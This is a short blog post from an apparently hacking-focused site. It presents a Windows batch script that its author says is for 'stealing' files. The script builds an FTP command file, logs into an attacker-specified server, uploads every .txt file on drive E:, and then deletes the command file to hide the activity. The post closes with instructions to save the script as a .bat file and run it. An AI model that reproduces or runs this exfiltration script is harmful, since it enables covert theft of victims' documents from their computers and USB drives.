Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86382800

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Foreword

Not long ago, I had this idea, which is to automatically run a script and upload files in the PC to our customized server. For example, we can specify that all word documents on the USB flash drive are uploaded to our server, which has achieved the purpose of stealing. So let’s see how it is implemented!

Code

@Echo Off

Echo open server ip ftp.up

Echo username ftp.up

Echo password ftp.up

Echo binaryftp.up

Echo promptftp.up

Echo lcd 'E:\*.txt'ftp.up

Echo mput 'E:\*.txt'ftp.up

Echo byeftp.up

FTP -s:ftp.up

del ftp.up /q

Using

Save the file code as a .bat file. After double-clicking to run, all txt files in E disk will be uploaded to the server we specified.